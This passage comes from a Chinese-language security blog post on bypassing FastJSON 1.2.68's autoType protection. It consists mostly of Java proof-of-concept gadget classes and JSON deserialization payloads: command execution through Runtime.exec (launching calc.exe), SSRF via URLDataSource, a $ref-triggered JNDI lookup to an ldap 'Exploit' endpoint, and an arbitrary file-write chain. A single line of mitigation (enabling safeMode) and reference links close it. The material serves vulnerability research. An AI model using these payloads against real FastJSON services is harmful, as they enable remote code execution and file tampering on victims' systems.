package org.heptagram.fastjson;import com.alibaba.fastjson.JSONObject;public class ExecRunnableMain {public static void main(String[] args) {String payload =\\\"{\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\":\\\\\\\"java.lang.AutoCloseable\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"org.heptagram.fastjson.ExecRunnable\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"eval\\\\\\\":{\\\\\\\"@type\\\\\\\":\\\\\\\"org.heptagram.fastjson.EvalRunnable\\\\\\\",\\\\\\\"cmd\\\\\\\":\\\\\\\"calc.exe\\\\\\\"}\\\\n\\\" +\\\"}\\\";JSONObject.parseObject(payload);}}
执行结果:

B、Readable:
package org.heptagram.fastjson;import java.io.IOException;import java.nio.CharBuffer;public class ExecReadable implements AutoCloseable {private EvalReadable eval;public EvalReadable getEval() {return eval;}public void setEval(EvalReadable eval) {this.eval = eval;}@Overridepublic void close() throws Exception {}}class EvalReadable implements Readable {private String cmd;public String getCmd() {System.out.println(\\\"EvalReadable getCmd() \\\"+cmd);try {Runtime.getRuntime().exec(new String[]{\\\"cmd\\\", \\\"/c\\\", cmd});} catch (IOException e) {e.printStackTrace();}return cmd;}public void setCmd(String cmd) {this.cmd = cmd;}@Overridepublic int read(CharBuffer cb) throws IOException {return 0;}}
攻击载荷:
package org.heptagram.fastjson;import com.alibaba.fastjson.JSONObject;public class ExecReadableMain {public static void main(String[] args) {String payload =\\\"{\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\":\\\\\\\"java.lang.AutoCloseable\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"org.heptagram.fastjson.ExecReadable\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"eval\\\\\\\":{\\\\\\\"@type\\\\\\\":\\\\\\\"org.heptagram.fastjson.EvalReadable\\\\\\\",\\\\\\\"cmd\\\\\\\":\\\\\\\"calc.exe\\\\\\\"}\\\\n\\\" +\\\"}\\\";JSONObject.parseObject(payload);}}
执行结果:

$ref拓展使用
在checkAutoType检查分析部分我们说道找寻合适的JNDI较为困难,其原因是大多数JNDI的gadget都继承自DataSource和RowSet,所以反序列化的类过不了checkAutoType的检查,那么JNDI注入真的就无法使用了吗?浅蓝师傅和threedr3am师傅给出了关于通过$ref引用功能来触发getter的方法,理论上我们可以通过这种方式实现RCE,而且还能够在不开启AutoType的情况下,任意调用大部分当前反序列化对象的getter方法,如果存在危险的method则可以进行攻击,下面我们分别来看一下具体的方法:
浅蓝师傅给出的示例(原来的基础上稍有变形):
package org.heptagram.fastjson;import javax.activation.DataSource;import javax.activation.URLDataSource;import java.net.URL;public class RefSSRF extends Exception {public RefSSRF() {}private DataSource dataSource;public DataSource getDataSource() {return dataSource;}public void setDataSource(URL url) {this.dataSource = new URLDataSource(url);}}
执行载荷:
package org.heptagram.fastjson;import com.alibaba.fastjson.JSON;public class RefSSRFMain {public static void main(String[] args) {String a =\\\"{\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"java.lang.Exception\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"org.heptagram.fastjson.RefSSRF\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"dataSource\\\\\\\": {\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"java.net.URL\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"val\\\\\\\": \\\\\\\"http://127.0.0.1:4444/Exploit\\\\\\\"\\\\n\\\" +\\\" }\\\\n\\\" +\\\"}\\\";JSON.parseObject(a);}}
执行之后可以看到有请求过来:

这里我们对原理做一个简单的介绍:
可以看到载荷中一共传入了两个@type,其中第一个为java.lang.Exception,它是Throwable的继承类,而用于反序列化Throwable异常类的是ThrowableDeserializer,所以又进入到了之前的execeptClass部分,之后根据根据第二个@type的值来获取具体类,并且根据传入的指定期望类进行加载:

之后在RefSSRF中将第二个@type的数值作为参数传入,同时注意到这里的setDataSource的参数是URL类型,在FastJSON中URL类型允许被反序列化,也就是说可以调用到setDataSource方法,并且实例化一个URLDataSource对象:

如果我们要实现SSRF那么我们可以通过调用URLDataSource的getInputStream()方法来触发连接请求,而使用JSON.parseObject在解析JSON时默认就会调用getInstance()(在setXXX之后调用),从而实现SSRF:

通过$ref引用功能,我们可以触发大部分getter方法,理论上当存在危险的method方法时我们可以通过此种方法在不开启AutoType的情况下来实现RCE,下面以threedr3am师傅提供的payload为例(代码部分取自Y4er师傅):
package org.heptagram.fastjson;import com.alibaba.fastjson.JSON;import org.apache.shiro.jndi.JndiLocator;import org.apache.shiro.util.Factory;import javax.naming.NamingException;public class RefRCE <T> extends JndiLocator implements Factory<T>, AutoCloseable {private String resourceName;public RefRCE() {}public T getInstance() {System.out.println(getClass().getName() + \\\".getInstance() invoke.\\\");try {return (T) this.lookup(this.resourceName);} catch (NamingException var3) {throw new IllegalStateException(\\\"Unable to look up with jndi name \\\'\\\" + this.resourceName + \\\"\\\'.\\\", var3);}}public String getResourceName() {System.out.println(getClass().getName() + \\\".getResourceName() invoke.\\\");return this.resourceName;}public void setResourceName(String resourceName) {System.out.println(getClass().getName() + \\\".setResourceName() invoke.\\\");this.resourceName = resourceName;}@Overridepublic void close() throws Exception {}}
载荷部分:
package org.heptagram.fastjson;import com.alibaba.fastjson.JSON;public class RefRCEMain {public static void main(String[] args) {String json = \\\"{\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\":\\\\\\\"java.lang.AutoCloseable\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"@type\\\\\\\": \\\\\\\"org.heptagram.fastjson.RefRCE\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"resourceName\\\\\\\": \\\\\\\"ldap://localhost:1099/Exploit\\\\\\\",\\\\n\\\" +\\\" \\\\\\\"instance\\\\\\\": {\\\\n\\\" +\\\" \\\\\\\"$ref\\\\\\\": \\\\\\\"$.instance\\\\\\\"\\\\n\\\" +\\\" }\\\\n\\\" +\\\"}\\\";System.out.println(json);JSON.parse(json);}}
执行结果:
文件相关操作
Gadget寻找思路:
-
通过set方法或构造方法指定文件路径的OutputStream
-
通过set方法或构造方法传入字节数据的OutputStream,并且可以通过set方法或构造方法传入一个OutputStream,最后可以通过 write方法将传入的字节码write到传入的OutputStream
-
需要一个通过set方法或构造方法传入一个OutputStream,并且可以通过调用toString、hashCode、get、set、构造方法调用传入的 OutputStream的flush方法
下面是个网络上公开的一个Gadget,目前只适用于JDK11版本:
$ echo -ne \\\"RMB122 is here\\\" | openssl zlib | base64 -w 0eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==$ echo -ne \\\"RMB122 is here\\\" | openssl zlib | wc -c22
载荷如下:
{\\\'@type\\\':\\\"java.lang.AutoCloseable\\\",\\\'@type\\\':\\\'sun.rmi.server.MarshalOutputStream\\\',\\\'out\\\':{\\\'@type\\\':\\\'java.util.zip.InflaterOutputStream\\\',\\\'out\\\':{\\\'@type\\\':\\\'java.io.FileOutputStream\\\',\\\'file\\\':\\\'dst\\\',\\\'append\\\':false},\\\'infl\\\':{\\\'input\\\':{\\\'array\\\':\\\'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==\\\',\\\'limit\\\':22}},\\\'bufLen\\\':1048576},\\\'protocolVersion\\\':1}
测试载荷:
package org.heptagram.fastjson;import com.alibaba.fastjson.JSON;import java.io.IOException;public class FileWrite {public static void main(String[] args) throws IOException {String json = \\\"{\\\\n\\\" +\\\" \\\'@type\\\': \\\\\\\"java.lang.AutoCloseable\\\\\\\",\\\\n\\\" +\\\" \\\'@type\\\': \\\'sun.rmi.server.MarshalOutputStream\\\',\\\\n\\\" +\\\" \\\'out\\\': {\\\\n\\\" +\\\" \\\'@type\\\': \\\'java.util.zip.InflaterOutputStream\\\',\\\\n\\\" +\\\" \\\'out\\\': {\\\\n\\\" +\\\" \\\'@type\\\': \\\'java.io.FileOutputStream\\\',\\\\n\\\" +\\\" \\\'file\\\': \\\'e:/filewrite.txt\\\',\\\\n\\\" +\\\" \\\'append\\\': false\\\\n\\\" +\\\" },\\\\n\\\" +\\\" \\\'infl\\\': {\\\\n\\\" +\\\" \\\'input\\\': {\\\\n\\\" +\\\" \\\'array\\\': \\\'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==\\\',\\\\n\\\" +\\\" \\\'limit\\\': 22\\\\n\\\" +\\\" }\\\\n\\\" +\\\" },\\\\n\\\" +\\\" \\\'bufLen\\\': 1048576\\\\n\\\" +\\\" },\\\\n\\\" +\\\" \\\'protocolVersion\\\': 1\\\\n\\\" +\\\"}\\\";JSON.parse(json);}}
执行结果:
防御措施
开启safeMode
ParserConfig.getGlobalInstance().setSafeMode(true);
参考链接
https://b1ue.cn/archives/348.html
https://b1ue.cn/archives/382.html
https://y4er.com/post/fastjson-bypass-autotype-1268/
https://www.kingkk.com/2020/06/%E6%B5%85%E8%B0%88%E4%B8%8BFastjson%E7%9A%84autotype%E7%BB%95%E8%BF%87/
https://github.com/threedr3am/learnjavabug/blob/96f81b85bab45453d8c29465225b51f3900148f3/fastjson/src/main/java/com/threedr3am/bug/fastjson/file/FileWriteBypassAutoType1_2_68.java
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34186.html